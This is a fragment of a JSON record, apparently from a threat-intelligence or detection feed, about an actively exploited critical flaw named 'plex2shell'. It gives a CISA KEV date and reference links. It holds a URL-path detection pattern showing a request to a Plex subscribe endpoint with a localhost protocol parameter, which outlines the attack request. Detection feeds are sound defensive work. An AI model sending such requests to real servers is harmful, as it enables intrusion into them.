1)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/player/timeline/subscribe?{{*}}protocol=http%3A%2F%2F127.0.0.1","reference_urls":["https://github.com/code-zm/plex2shell","https://zmain.info/blog/plex2shell","https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96652"],"kev_date_added":"2026-10-20"}]}